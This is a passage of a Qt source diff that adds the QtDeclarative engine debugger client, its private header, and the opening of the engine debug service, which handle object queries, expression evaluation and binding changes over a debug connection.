+QDeclarativeDebugObjectQuery *QDeclarativeEngineDebug::queryObject(const QDeclarativeDebugObjectReference &object, QObject *parent)
+{
+ Q_D(QDeclarativeEngineDebug);
+
+ QDeclarativeDebugObjectQuery *query = new QDeclarativeDebugObjectQuery(parent);
+ if (d->client->status() == QDeclarativeDebugClient::Enabled && object.debugId() != -1) {
+ query->m_client = this;
+ int queryId = d->getId();
+ query->m_queryId = queryId;
+ d->objectQuery.insert(queryId, query);
+
+ QByteArray message;
+ QDataStream ds(&message, QIODevice::WriteOnly);
+ ds << QByteArray("FETCH_OBJECT") << queryId << object.debugId()
+ << false << true;
+ d->client->sendMessage(message);
+ } else {
+ query->m_state = QDeclarativeDebugQuery::Error;
+ }
+
+ return query;
+}
+
+QDeclarativeDebugObjectQuery *QDeclarativeEngineDebug::queryObjectRecursive(const QDeclarativeDebugObjectReference &object, QObject *parent)
+{
+ Q_D(QDeclarativeEngineDebug);
+
+ QDeclarativeDebugObjectQuery *query = new QDeclarativeDebugObjectQuery(parent);
+ if (d->client->status() == QDeclarativeDebugClient::Enabled && object.debugId() != -1) {
+ query->m_client = this;
+ int queryId = d->getId();
+ query->m_queryId = queryId;
+ d->objectQuery.insert(queryId, query);
+
+ QByteArray message;
+ QDataStream ds(&message, QIODevice::WriteOnly);
+ ds << QByteArray("FETCH_OBJECT") << queryId << object.debugId()
+ << true << true;
+ d->client->sendMessage(message);
+ } else {
+ query->m_state = QDeclarativeDebugQuery::Error;
+ }
+
+ return query;
+}
+
+QDeclarativeDebugExpressionQuery *QDeclarativeEngineDebug::queryExpressionResult(int objectDebugId, const QString &expr, QObject *parent)
+{
+ Q_D(QDeclarativeEngineDebug);
+
+ QDeclarativeDebugExpressionQuery *query = new QDeclarativeDebugExpressionQuery(parent);
+ if (d->client->status() == QDeclarativeDebugClient::Enabled && objectDebugId != -1) {
+ query->m_client = this;
+ query->m_expr = expr;
+ int queryId = d->getId();
+ query->m_queryId = queryId;
+ d->expressionQuery.insert(queryId, query);
+
+ QByteArray message;
+ QDataStream ds(&message, QIODevice::WriteOnly);
+ ds << QByteArray("EVAL_EXPRESSION") << queryId << objectDebugId << expr;
+ d->client->sendMessage(message);
+ } else {
+ query->m_state = QDeclarativeDebugQuery::Error;
+ }
+
+ return query;
+}
+
+bool QDeclarativeEngineDebug::setBindingForObject(int objectDebugId, const QString &propertyName,
+ const QVariant &bindingExpression,
+ bool isLiteralValue,
+ QString source, int line)
+{
+ Q_D(QDeclarativeEngineDebug);
+
+ if (d->client->status() == QDeclarativeDebugClient::Enabled && objectDebugId != -1) {
+ QByteArray message;
+ QDataStream ds(&message, QIODevice::WriteOnly);
+ ds << QByteArray("SET_BINDING") << objectDebugId << propertyName << bindingExpression << isLiteralValue << source << line;
+ d->client->sendMessage(message);
+ return true;
+ } else {
+ return false;
+ }
+}
+
+bool QDeclarativeEngineDebug::resetBindingForObject(int objectDebugId, const QString &propertyName)
+{
+ Q_D(QDeclarativeEngineDebug);
+
+ if (d->client->status() == QDeclarativeDebugClient::Enabled && objectDebugId != -1) {
+ QByteArray message;
+ QDataStream ds(&message, QIODevice::WriteOnly);
+ ds << QByteArray("RESET_BINDING") << objectDebugId << propertyName;
+ d->client->sendMessage(message);
+ return true;
+ } else {
+ return false;
+ }
+}
+
+bool QDeclarativeEngineDebug::setMethodBody(int objectDebugId, const QString &methodName,
+ const QString &methodBody)
+{
+ Q_D(QDeclarativeEngineDebug);
+
+ if (d->client->status() == QDeclarativeDebugClient::Enabled && objectDebugId != -1) {
+ QByteArray message;
+ QDataStream ds(&message, QIODevice::WriteOnly);
+ ds << QByteArray("SET_METHOD_BODY") << objectDebugId << methodName << methodBody;
+ d->client->sendMessage(message);
+ return true;
+ } else {
+ return false;
+ }
+}
+
+QDeclarativeDebugWatch::QDeclarativeDebugWatch(QObject *parent)
+: QObject(parent), m_state(Waiting), m_queryId(-1), m_client(0), m_objectDebugId(-1)
+{
+}
+
+QDeclarativeDebugWatch::~QDeclarativeDebugWatch()
+{
+ if (m_client && m_queryId != -1)
+ QDeclarativeEngineDebugPrivate::remove(m_client, this);
+}
+
+int QDeclarativeDebugWatch::queryId() const
+{
+ return m_queryId;
+}
+
+int QDeclarativeDebugWatch::objectDebugId() const
+{
+ return m_objectDebugId;
+}
+
+QDeclarativeDebugWatch::State QDeclarativeDebugWatch::state() const
+{
+ return m_state;
+}
+
+void QDeclarativeDebugWatch::setState(State s)
+{
+ if (m_state == s)
+ return;
+ m_state = s;
+ emit stateChanged(m_state);
+}
+
+QDeclarativeDebugPropertyWatch::QDeclarativeDebugPropertyWatch(QObject *parent)
+ : QDeclarativeDebugWatch(parent)
+{
+}
+
+QString QDeclarativeDebugPropertyWatch::name() const
+{
+ return m_name;
+}
+
+
+QDeclarativeDebugObjectExpressionWatch::QDeclarativeDebugObjectExpressionWatch(QObject *parent)
+ : QDeclarativeDebugWatch(parent)
+{
+}
+
+QString QDeclarativeDebugObjectExpressionWatch::expression() const
+{
+ return m_expr;
+}
+
+
+QDeclarativeDebugQuery::QDeclarativeDebugQuery(QObject *parent)
+: QObject(parent), m_state(Waiting)
+{
+}
+
+QDeclarativeDebugQuery::State QDeclarativeDebugQuery::state() const
+{
+ return m_state;
+}
+
+bool QDeclarativeDebugQuery::isWaiting() const
+{
+ return m_state == Waiting;
+}
+
+void QDeclarativeDebugQuery::setState(State s)
+{
+ if (m_state == s)
+ return;
+ m_state = s;
+ emit stateChanged(m_state);
+}
+
+QDeclarativeDebugEnginesQuery::QDeclarativeDebugEnginesQuery(QObject *parent)
+: QDeclarativeDebugQuery(parent), m_client(0), m_queryId(-1)
+{
+}
+
+QDeclarativeDebugEnginesQuery::~QDeclarativeDebugEnginesQuery()
+{
+ if (m_client && m_queryId != -1)
+ QDeclarativeEngineDebugPrivate::remove(m_client, this);
+}
+
+QList<QDeclarativeDebugEngineReference> QDeclarativeDebugEnginesQuery::engines() const
+{
+ return m_engines;
+}
+
+QDeclarativeDebugRootContextQuery::QDeclarativeDebugRootContextQuery(QObject *parent)
+: QDeclarativeDebugQuery(parent), m_client(0), m_queryId(-1)
+{
+}
+
+QDeclarativeDebugRootContextQuery::~QDeclarativeDebugRootContextQuery()
+{
+ if (m_client && m_queryId != -1)
+ QDeclarativeEngineDebugPrivate::remove(m_client, this);
+}
+
+QDeclarativeDebugContextReference QDeclarativeDebugRootContextQuery::rootContext() const
+{
+ return m_context;
+}
+
+QDeclarativeDebugObjectQuery::QDeclarativeDebugObjectQuery(QObject *parent)
+: QDeclarativeDebugQuery(parent), m_client(0), m_queryId(-1)
+{
+}
+
+QDeclarativeDebugObjectQuery::~QDeclarativeDebugObjectQuery()
+{
+ if (m_client && m_queryId != -1)
+ QDeclarativeEngineDebugPrivate::remove(m_client, this);
+}
+
+QDeclarativeDebugObjectReference QDeclarativeDebugObjectQuery::object() const
+{
+ return m_object;
+}
+
+QDeclarativeDebugExpressionQuery::QDeclarativeDebugExpressionQuery(QObject *parent)
+: QDeclarativeDebugQuery(parent), m_client(0), m_queryId(-1)
+{
+}
+
+QDeclarativeDebugExpressionQuery::~QDeclarativeDebugExpressionQuery()
+{
+ if (m_client && m_queryId != -1)
+ QDeclarativeEngineDebugPrivate::remove(m_client, this);
+}
+
+QVariant QDeclarativeDebugExpressionQuery::expression() const
+{
+ return m_expr;
+}
+
+QVariant QDeclarativeDebugExpressionQuery::result() const
+{
+ return m_result;
+}
+
+QDeclarativeDebugEngineReference::QDeclarativeDebugEngineReference()
+: m_debugId(-1)
+{
+}
+
+QDeclarativeDebugEngineReference::QDeclarativeDebugEngineReference(int debugId)
+: m_debugId(debugId)
+{
+}
+
+QDeclarativeDebugEngineReference::QDeclarativeDebugEngineReference(const QDeclarativeDebugEngineReference &o)
+: m_debugId(o.m_debugId), m_name(o.m_name)
+{
+}
+
+QDeclarativeDebugEngineReference &
+QDeclarativeDebugEngineReference::operator=(const QDeclarativeDebugEngineReference &o)
+{
+ m_debugId = o.m_debugId; m_name = o.m_name;
+ return *this;
+}
+
+int QDeclarativeDebugEngineReference::debugId() const
+{
+ return m_debugId;
+}
+
+QString QDeclarativeDebugEngineReference::name() const
+{
+ return m_name;
+}
+
+QDeclarativeDebugObjectReference::QDeclarativeDebugObjectReference()
+: m_debugId(-1), m_contextDebugId(-1)
+{
+}
+
+QDeclarativeDebugObjectReference::QDeclarativeDebugObjectReference(int debugId)
+: m_debugId(debugId), m_contextDebugId(-1)
+{
+}
+
+QDeclarativeDebugObjectReference::QDeclarativeDebugObjectReference(const QDeclarativeDebugObjectReference &o)
+: m_debugId(o.m_debugId), m_class(o.m_class), m_idString(o.m_idString),
+ m_name(o.m_name), m_source(o.m_source), m_contextDebugId(o.m_contextDebugId),
+ m_properties(o.m_properties), m_children(o.m_children)
+{
+}
+
+QDeclarativeDebugObjectReference &
+QDeclarativeDebugObjectReference::operator=(const QDeclarativeDebugObjectReference &o)
+{
+ m_debugId = o.m_debugId; m_class = o.m_class; m_idString = o.m_idString;
+ m_name = o.m_name; m_source = o.m_source; m_contextDebugId = o.m_contextDebugId;
+ m_properties = o.m_properties; m_children = o.m_children;
+ return *this;
+}
+
+int QDeclarativeDebugObjectReference::debugId() const
+{
+ return m_debugId;
+}
+
+QString QDeclarativeDebugObjectReference::className() const
+{
+ return m_class;
+}
+
+QString QDeclarativeDebugObjectReference::idString() const
+{
+ return m_idString;
+}
+
+QString QDeclarativeDebugObjectReference::name() const
+{
+ return m_name;
+}
+
+QDeclarativeDebugFileReference QDeclarativeDebugObjectReference::source() const
+{
+ return m_source;
+}
+
+int QDeclarativeDebugObjectReference::contextDebugId() const
+{
+ return m_contextDebugId;
+}
+
+QList<QDeclarativeDebugPropertyReference> QDeclarativeDebugObjectReference::properties() const
+{
+ return m_properties;
+}
+
+QList<QDeclarativeDebugObjectReference> QDeclarativeDebugObjectReference::children() const
+{
+ return m_children;
+}
+
+QDeclarativeDebugContextReference::QDeclarativeDebugContextReference()
+: m_debugId(-1)
+{
+}
+
+QDeclarativeDebugContextReference::QDeclarativeDebugContextReference(const QDeclarativeDebugContextReference &o)
+: m_debugId(o.m_debugId), m_name(o.m_name), m_objects(o.m_objects), m_contexts(o.m_contexts)
+{
+}
+
+QDeclarativeDebugContextReference &QDeclarativeDebugContextReference::operator=(const QDeclarativeDebugContextReference &o)
+{
+ m_debugId = o.m_debugId; m_name = o.m_name; m_objects = o.m_objects;
+ m_contexts = o.m_contexts;
+ return *this;
+}
+
+int QDeclarativeDebugContextReference::debugId() const
+{
+ return m_debugId;
+}
+
+QString QDeclarativeDebugContextReference::name() const
+{
+ return m_name;
+}
+
+QList<QDeclarativeDebugObjectReference> QDeclarativeDebugContextReference::objects() const
+{
+ return m_objects;
+}
+
+QList<QDeclarativeDebugContextReference> QDeclarativeDebugContextReference::contexts() const
+{
+ return m_contexts;
+}
+
+QDeclarativeDebugFileReference::QDeclarativeDebugFileReference()
+: m_lineNumber(-1), m_columnNumber(-1)
+{
+}
+
+QDeclarativeDebugFileReference::QDeclarativeDebugFileReference(const QDeclarativeDebugFileReference &o)
+: m_url(o.m_url), m_lineNumber(o.m_lineNumber), m_columnNumber(o.m_columnNumber)
+{
+}
+
+QDeclarativeDebugFileReference &QDeclarativeDebugFileReference::operator=(const QDeclarativeDebugFileReference &o)
+{
+ m_url = o.m_url; m_lineNumber = o.m_lineNumber; m_columnNumber = o.m_columnNumber;
+ return *this;
+}
+
+QUrl QDeclarativeDebugFileReference::url() const
+{
+ return m_url;
+}
+
+void QDeclarativeDebugFileReference::setUrl(const QUrl &u)
+{
+ m_url = u;
+}
+
+int QDeclarativeDebugFileReference::lineNumber() const
+{
+ return m_lineNumber;
+}
+
+void QDeclarativeDebugFileReference::setLineNumber(int l)
+{
+ m_lineNumber = l;
+}
+
+int QDeclarativeDebugFileReference::columnNumber() const
+{
+ return m_columnNumber;
+}
+
+void QDeclarativeDebugFileReference::setColumnNumber(int c)
+{
+ m_columnNumber = c;
+}
+
+QDeclarativeDebugPropertyReference::QDeclarativeDebugPropertyReference()
+: m_objectDebugId(-1), m_hasNotifySignal(false)
+{
+}
+
+QDeclarativeDebugPropertyReference::QDeclarativeDebugPropertyReference(const QDeclarativeDebugPropertyReference &o)
+: m_objectDebugId(o.m_objectDebugId), m_name(o.m_name), m_value(o.m_value),
+ m_valueTypeName(o.m_valueTypeName), m_binding(o.m_binding),
+ m_hasNotifySignal(o.m_hasNotifySignal)
+{
+}
+
+QDeclarativeDebugPropertyReference &QDeclarativeDebugPropertyReference::operator=(const QDeclarativeDebugPropertyReference &o)
+{
+ m_objectDebugId = o.m_objectDebugId; m_name = o.m_name; m_value = o.m_value;
+ m_valueTypeName = o.m_valueTypeName; m_binding = o.m_binding;
+ m_hasNotifySignal = o.m_hasNotifySignal;
+ return *this;
+}
+
+int QDeclarativeDebugPropertyReference::objectDebugId() const
+{
+ return m_objectDebugId;
+}
+
+QString QDeclarativeDebugPropertyReference::name() const
+{
+ return m_name;
+}
+
+QString QDeclarativeDebugPropertyReference::valueTypeName() const
+{
+ return m_valueTypeName;
+}
+
+QVariant QDeclarativeDebugPropertyReference::value() const
+{
+ return m_value;
+}
+
+QString QDeclarativeDebugPropertyReference::binding() const
+{
+ return m_binding;
+}
+
+bool QDeclarativeDebugPropertyReference::hasNotifySignal() const
+{
+ return m_hasNotifySignal;
+}
+
+QT_END_NAMESPACE
+
diff --git a/src/declarative/debugger/qdeclarativeenginedebug_p.h b/src/declarative/debugger/qdeclarativeenginedebug_p.h
new file mode 100644
index 00000000..6c00efca
--- /dev/null
+++ b/src/declarative/debugger/qdeclarativeenginedebug_p.h
@@ -0,0 +1,387 @@
+/****************************************************************************
+**
+** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies).
+** All rights reserved.
+** Contact: Nokia Corporation (qt-info@nokia.com)
+**
+** This file is part of the QtDeclarative module of the Qt Toolkit.
+**
+** $QT_BEGIN_LICENSE:LGPL$
+** GNU Lesser General Public License Usage
+** This file may be used under the terms of the GNU Lesser General Public
+** License version 2.1 as published by the Free Software Foundation and
+** appearing in the file LICENSE.LGPL included in the packaging of this
+** file. Please review the following information to ensure the GNU Lesser
+** General Public License version 2.1 requirements will be met:
+** http://www.gnu.org/licenses/old-licenses/lgpl-2.1.html.
+**
+** In addition, as a special exception, Nokia gives you certain additional
+** rights. These rights are described in the Nokia Qt LGPL Exception
+** version 1.1, included in the file LGPL_EXCEPTION.txt in this package.
+**
+** GNU General Public License Usage
+** Alternatively, this file may be used under the terms of the GNU General
+** Public License version 3.0 as published by the Free Software Foundation
+** and appearing in the file LICENSE.GPL included in the packaging of this
+** file. Please review the following information to ensure the GNU General
+** Public License version 3.0 requirements will be met:
+** http://www.gnu.org/copyleft/gpl.html.
+**
+** Other Usage
+** Alternatively, this file may be used in accordance with the terms and
+** conditions contained in a signed written agreement between you and Nokia.
+**
+**
+**
+**
+**
+** $QT_END_LICENSE$
+**
+****************************************************************************/
+#ifndef QDECLARATIVEENGINEDEBUG_H
+#define QDECLARATIVEENGINEDEBUG_H
+
+#include <QtCore/qobject.h>
+#include <QtCore/qurl.h>
+#include <QtCore/qvariant.h>
+
+#include <private/qdeclarativeglobal_p.h>
+
+QT_BEGIN_HEADER
+
+QT_BEGIN_NAMESPACE
+
+QT_MODULE(Declarative)
+
+class QDeclarativeDebugConnection;
+class QDeclarativeDebugWatch;
+class QDeclarativeDebugPropertyWatch;
+class QDeclarativeDebugObjectExpressionWatch;
+class QDeclarativeDebugEnginesQuery;
+class QDeclarativeDebugRootContextQuery;
+class QDeclarativeDebugObjectQuery;
+class QDeclarativeDebugExpressionQuery;
+class QDeclarativeDebugPropertyReference;
+class QDeclarativeDebugContextReference;
+class QDeclarativeDebugObjectReference;
+class QDeclarativeDebugFileReference;
+class QDeclarativeDebugEngineReference;
+class QDeclarativeEngineDebugPrivate;
+class Q_DECLARATIVE_PRIVATE_EXPORT QDeclarativeEngineDebug : public QObject
+{
+Q_OBJECT
+public:
+ enum Status { NotConnected, Unavailable, Enabled };
+
+ explicit QDeclarativeEngineDebug(QDeclarativeDebugConnection *, QObject * = 0);
+
+ Status status() const;
+
+ QDeclarativeDebugPropertyWatch *addWatch(const QDeclarativeDebugPropertyReference &,
+ QObject *parent = 0);
+ QDeclarativeDebugWatch *addWatch(const QDeclarativeDebugContextReference &, const QString &,
+ QObject *parent = 0);
+ QDeclarativeDebugObjectExpressionWatch *addWatch(const QDeclarativeDebugObjectReference &, const QString &,
+ QObject *parent = 0);
+ QDeclarativeDebugWatch *addWatch(const QDeclarativeDebugObjectReference &,
+ QObject *parent = 0);
+ QDeclarativeDebugWatch *addWatch(const QDeclarativeDebugFileReference &,
+ QObject *parent = 0);
+
+ void removeWatch(QDeclarativeDebugWatch *watch);
+
+ QDeclarativeDebugEnginesQuery *queryAvailableEngines(QObject *parent = 0);
+ QDeclarativeDebugRootContextQuery *queryRootContexts(const QDeclarativeDebugEngineReference &,
+ QObject *parent = 0);
+ QDeclarativeDebugObjectQuery *queryObject(const QDeclarativeDebugObjectReference &,
+ QObject *parent = 0);
+ QDeclarativeDebugObjectQuery *queryObjectRecursive(const QDeclarativeDebugObjectReference &,
+ QObject *parent = 0);
+ QDeclarativeDebugExpressionQuery *queryExpressionResult(int objectDebugId,
+ const QString &expr,
+ QObject *parent = 0);
+ bool setBindingForObject(int objectDebugId, const QString &propertyName,
+ const QVariant &bindingExpression, bool isLiteralValue,
+ QString source = QString(), int line = -1);
+ bool resetBindingForObject(int objectDebugId, const QString &propertyName);
+ bool setMethodBody(int objectDebugId, const QString &methodName, const QString &methodBody);
+
+Q_SIGNALS:
+ void newObjects();
+ void statusChanged(Status status);
+
+private:
+ Q_DECLARE_PRIVATE(QDeclarativeEngineDebug)
+};
+
+class Q_DECLARATIVE_PRIVATE_EXPORT QDeclarativeDebugWatch : public QObject
+{
+Q_OBJECT
+public:
+ enum State { Waiting, Active, Inactive, Dead };
+
+ QDeclarativeDebugWatch(QObject *);
+ ~QDeclarativeDebugWatch();
+
+ int queryId() const;
+ int objectDebugId() const;
+ State state() const;
+
+Q_SIGNALS:
+ void stateChanged(QDeclarativeDebugWatch::State);
+ //void objectChanged(int, const QDeclarativeDebugObjectReference &);
+ //void valueChanged(int, const QVariant &);
+
+ // Server sends value as string if it is a user-type variant
+ void valueChanged(const QByteArray &name, const QVariant &value);
+
+private:
+ friend class QDeclarativeEngineDebug;
+ friend class QDeclarativeEngineDebugPrivate;
+ void setState(State);
+ State m_state;
+ int m_queryId;
+ QDeclarativeEngineDebug *m_client;
+ int m_objectDebugId;
+};
+
+class Q_DECLARATIVE_PRIVATE_EXPORT QDeclarativeDebugPropertyWatch : public QDeclarativeDebugWatch
+{
+ Q_OBJECT
+public:
+ QDeclarativeDebugPropertyWatch(QObject *parent);
+
+ QString name() const;
+
+private:
+ friend class QDeclarativeEngineDebug;
+ QString m_name;
+};
+
+class Q_DECLARATIVE_PRIVATE_EXPORT QDeclarativeDebugObjectExpressionWatch : public QDeclarativeDebugWatch
+{
+ Q_OBJECT
+public:
+ QDeclarativeDebugObjectExpressionWatch(QObject *parent);
+
+ QString expression() const;
+
+private:
+ friend class QDeclarativeEngineDebug;
+ QString m_expr;
+ int m_debugId;
+};
+
+
+class Q_DECLARATIVE_PRIVATE_EXPORT QDeclarativeDebugQuery : public QObject
+{
+Q_OBJECT
+public:
+ enum State { Waiting, Error, Completed };
+
+ State state() const;
+ bool isWaiting() const;
+
+// bool waitUntilCompleted();
+
+Q_SIGNALS:
+ void stateChanged(QDeclarativeDebugQuery::State);
+
+protected:
+ QDeclarativeDebugQuery(QObject *);
+
+private:
+ friend class QDeclarativeEngineDebug;
+ friend class QDeclarativeEngineDebugPrivate;
+ void setState(State);
+ State m_state;
+};
+
+class Q_DECLARATIVE_PRIVATE_EXPORT QDeclarativeDebugFileReference
+{
+public:
+ QDeclarativeDebugFileReference();
+ QDeclarativeDebugFileReference(const QDeclarativeDebugFileReference &);
+ QDeclarativeDebugFileReference &operator=(const QDeclarativeDebugFileReference &);
+
+ QUrl url() const;
+ void setUrl(const QUrl &);
+ int lineNumber() const;
+ void setLineNumber(int);
+ int columnNumber() const;
+ void setColumnNumber(int);
+
+private:
+ friend class QDeclarativeEngineDebugPrivate;
+ QUrl m_url;
+ int m_lineNumber;
+ int m_columnNumber;
+};
+
+class Q_DECLARATIVE_PRIVATE_EXPORT QDeclarativeDebugEngineReference
+{
+public:
+ QDeclarativeDebugEngineReference();
+ QDeclarativeDebugEngineReference(int);
+ QDeclarativeDebugEngineReference(const QDeclarativeDebugEngineReference &);
+ QDeclarativeDebugEngineReference &operator=(const QDeclarativeDebugEngineReference &);
+
+ int debugId() const;
+ QString name() const;
+
+private:
+ friend class QDeclarativeEngineDebugPrivate;
+ int m_debugId;
+ QString m_name;
+};
+
+class Q_DECLARATIVE_PRIVATE_EXPORT QDeclarativeDebugObjectReference
+{
+public:
+ QDeclarativeDebugObjectReference();
+ QDeclarativeDebugObjectReference(int);
+ QDeclarativeDebugObjectReference(const QDeclarativeDebugObjectReference &);
+ QDeclarativeDebugObjectReference &operator=(const QDeclarativeDebugObjectReference &);
+
+ int debugId() const;
+ QString className() const;
+ QString idString() const;
+ QString name() const;
+
+ QDeclarativeDebugFileReference source() const;
+ int contextDebugId() const;
+
+ QList<QDeclarativeDebugPropertyReference> properties() const;
+ QList<QDeclarativeDebugObjectReference> children() const;
+
+private:
+ friend class QDeclarativeEngineDebugPrivate;
+ int m_debugId;
+ QString m_class;
+ QString m_idString;
+ QString m_name;
+ QDeclarativeDebugFileReference m_source;
+ int m_contextDebugId;
+ QList<QDeclarativeDebugPropertyReference> m_properties;
+ QList<QDeclarativeDebugObjectReference> m_children;
+};
+
+class Q_DECLARATIVE_PRIVATE_EXPORT QDeclarativeDebugContextReference
+{
+public:
+ QDeclarativeDebugContextReference();
+ QDeclarativeDebugContextReference(const QDeclarativeDebugContextReference &);
+ QDeclarativeDebugContextReference &operator=(const QDeclarativeDebugContextReference &);
+
+ int debugId() const;
+ QString name() const;
+
+ QList<QDeclarativeDebugObjectReference> objects() const;
+ QList<QDeclarativeDebugContextReference> contexts() const;
+
+private:
+ friend class QDeclarativeEngineDebugPrivate;
+ int m_debugId;
+ QString m_name;
+ QList<QDeclarativeDebugObjectReference> m_objects;
+ QList<QDeclarativeDebugContextReference> m_contexts;
+};
+
+class Q_DECLARATIVE_PRIVATE_EXPORT QDeclarativeDebugPropertyReference
+{
+public:
+ QDeclarativeDebugPropertyReference();
+ QDeclarativeDebugPropertyReference(const QDeclarativeDebugPropertyReference &);
+ QDeclarativeDebugPropertyReference &operator=(const QDeclarativeDebugPropertyReference &);
+
+ int objectDebugId() const;
+ QString name() const;
+ QVariant value() const;
+ QString valueTypeName() const;
+ QString binding() const;
+ bool hasNotifySignal() const;
+
+private:
+ friend class QDeclarativeEngineDebugPrivate;
+ int m_objectDebugId;
+ QString m_name;
+ QVariant m_value;
+ QString m_valueTypeName;
+ QString m_binding;
+ bool m_hasNotifySignal;
+};
+
+
+class Q_DECLARATIVE_PRIVATE_EXPORT QDeclarativeDebugEnginesQuery : public QDeclarativeDebugQuery
+{
+Q_OBJECT
+public:
+ virtual ~QDeclarativeDebugEnginesQuery();
+ QList<QDeclarativeDebugEngineReference> engines() const;
+private:
+ friend class QDeclarativeEngineDebug;
+ friend class QDeclarativeEngineDebugPrivate;
+ QDeclarativeDebugEnginesQuery(QObject *);
+ QDeclarativeEngineDebug *m_client;
+ int m_queryId;
+ QList<QDeclarativeDebugEngineReference> m_engines;
+};
+
+class Q_DECLARATIVE_PRIVATE_EXPORT QDeclarativeDebugRootContextQuery : public QDeclarativeDebugQuery
+{
+Q_OBJECT
+public:
+ virtual ~QDeclarativeDebugRootContextQuery();
+ QDeclarativeDebugContextReference rootContext() const;
+private:
+ friend class QDeclarativeEngineDebug;
+ friend class QDeclarativeEngineDebugPrivate;
+ QDeclarativeDebugRootContextQuery(QObject *);
+ QDeclarativeEngineDebug *m_client;
+ int m_queryId;
+ QDeclarativeDebugContextReference m_context;
+};
+
+class Q_DECLARATIVE_PRIVATE_EXPORT QDeclarativeDebugObjectQuery : public QDeclarativeDebugQuery
+{
+Q_OBJECT
+public:
+ virtual ~QDeclarativeDebugObjectQuery();
+ QDeclarativeDebugObjectReference object() const;
+private:
+ friend class QDeclarativeEngineDebug;
+ friend class QDeclarativeEngineDebugPrivate;
+ QDeclarativeDebugObjectQuery(QObject *);
+ QDeclarativeEngineDebug *m_client;
+ int m_queryId;
+ QDeclarativeDebugObjectReference m_object;
+
+};
+
+class Q_DECLARATIVE_PRIVATE_EXPORT QDeclarativeDebugExpressionQuery : public QDeclarativeDebugQuery
+{
+Q_OBJECT
+public:
+ virtual ~QDeclarativeDebugExpressionQuery();
+ QVariant expression() const;
+ QVariant result() const;
+private:
+ friend class QDeclarativeEngineDebug;
+ friend class QDeclarativeEngineDebugPrivate;
+ QDeclarativeDebugExpressionQuery(QObject *);
+ QDeclarativeEngineDebug *m_client;
+ int m_queryId;
+ QVariant m_expr;
+ QVariant m_result;
+};
+
+QT_END_NAMESPACE
+
+Q_DECLARE_METATYPE(QDeclarativeDebugEngineReference)
+Q_DECLARE_METATYPE(QDeclarativeDebugObjectReference)
+Q_DECLARE_METATYPE(QDeclarativeDebugContextReference)
+Q_DECLARE_METATYPE(QDeclarativeDebugPropertyReference)
+
+QT_END_HEADER
+
+#endif // QDECLARATIVEENGINEDEBUG_H
diff --git a/src/declarative/debugger/qdeclarativeenginedebugservice.cpp b/src/declarative/debugger/qdeclarativeenginedebugservice.cpp
new file mode 100644
index 00000000..421e3994
--- /dev/null
+++ b/src/declarative/debugger/qdeclarativeenginedebugservice.cpp
@@ -0,0 +1,747 @@
+/****************************************************************************
+**
+** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies).
+** All rights reserved.
+** Contact: Nokia Corporation (qt-info@nokia.com)
+**
+** This file is part of the QtDeclarative module of the Qt Toolkit.
+**
+** $QT_BEGIN_LICENSE:LGPL$
+** GNU Lesser General Public License Usage
+** This file may be used under the terms of the GNU Lesser General Public
+** License version 2.1 as published by the Free Software Foundation and
+** appearing in the file LICENSE.LGPL included in the packaging of this
+** file. Please review the following information to ensure the GNU Lesser
+** General Public License version 2.1 requirements will be met:
+** http://www.gnu.org/licenses/old-licenses/lgpl-2.1.html.
+**
+** In addition, as a special exception, Nokia gives you certain additional
+** rights. These rights are described in the Nokia Qt LGPL Exception
+** version 1.1, included in the file LGPL_EXCEPTION.txt in this package.
+**
+** GNU General Public License Usage
+** Alternatively, this file may be used under the terms of the GNU General
+** Public License version 3.0 as published by the Free Software Foundation
+** and appearing in the file LICENSE.GPL included in the packaging of this
+** file. Please review the following information to ensure the GNU General
+** Public License version 3.0 requirements will be met:
+** http://www.gnu.org/copyleft/gpl.html.
+**
+** Other Usage
+** Alternatively, this file may be used in accordance with the terms and
+** conditions contained in a signed written agreement between you and Nokia.
+**
+**
+**
+**
+**
+** $QT_END_LICENSE$
+**
+****************************************************************************/
+
+#include "private/qdeclarativeenginedebugservice_p.h"
+
+#include "private/qdeclarativeboundsignal_p.h"
+#include "qdeclarativeengine.h"
+#include "private/qdeclarativemetatype_p.h"
+#include "qdeclarativeproperty.h"
+#include "private/qdeclarativeproperty_p.h"
+#include "private/qdeclarativebinding_p.h"
+#include "private/qdeclarativecontext_p.h"
+#include "private/qdeclarativewatcher_p.h"
+#include "private/qdeclarativevaluetype_p.h"
+#include "private/qdeclarativevmemetaobject_p.h"
+#include "private/qdeclarativeexpression_p.h"
+#include "private/qdeclarativepropertychanges_p.h"
+
+#include <QtCore/qdebug.h>
+#include <QtCore/qmetaobject.h>
+
+QT_BEGIN_NAMESPACE
+
+Q_GLOBAL_STATIC(QDeclarativeEngineDebugService, qmlEngineDebugService);
+
+QDeclarativeEngineDebugService *QDeclarativeEngineDebugService::instance()
+{
+ return qmlEngineDebugService();
+}
+
+QDeclarativeEngineDebugService::QDeclarativeEngineDebugService(QObject *parent)
+: QDeclarativeDebugService(QLatin1String("QDeclarativeEngine"), parent),
+ m_watch(new QDeclarativeWatcher(this))
+{
+ QObject::connect(m_watch, SIGNAL(propertyChanged(int,int,QMetaProperty,QVariant)),
+ this, SLOT(propertyChanged(int,int,QMetaProperty,QVariant)));
+}
+
+QDataStream &operator<<(QDataStream &ds,
+ const QDeclarativeEngineDebugService::QDeclarativeObjectData &data)
+{
+ ds << data.url << data.lineNumber << data.columnNumber << data.idString
+ << data.objectName << data.objectType << data.objectId << data.contextId;
+ return ds;
+}
+
+QDataStream &operator>>(QDataStream &ds,
+ QDeclarativeEngineDebugService::QDeclarativeObjectData &data)
+{
+ ds >> data.url >> data.lineNumber >> data.columnNumber >> data.idString
+ >> data.objectName >> data.objectType >> data.objectId >> data.contextId;
+ return ds;
+}
+
+QDataStream &operator<<(QDataStream &ds,
+ const QDeclarativeEngineDebugService::QDeclarativeObjectProperty &data)
+{
+ ds << (int)data.type << data.name << data.value << data.valueTypeName
+ << data.binding << data.hasNotifySignal;
+ return ds;
+}
+
+QDataStream &operator>>(QDataStream &ds,
+ QDeclarativeEngineDebugService::QDeclarativeObjectProperty &data)
+{
+ int type;
+ ds >> type >> data.name >> data.value >> data.valueTypeName
+ >> data.binding >> data.hasNotifySignal;
+ data.type = (QDeclarativeEngineDebugService::QDeclarativeObjectProperty::Type)type;
+ return ds;
+}
+
+static inline bool isSignalPropertyName(const QString &signalName)
+{
+ // see QmlCompiler::isSignalPropertyName
+ return signalName.length() >= 3 && signalName.startsWith(QLatin1String("on")) &&
+ signalName.at(2).isLetter() && signalName.at(2).isUpper();
+}
+
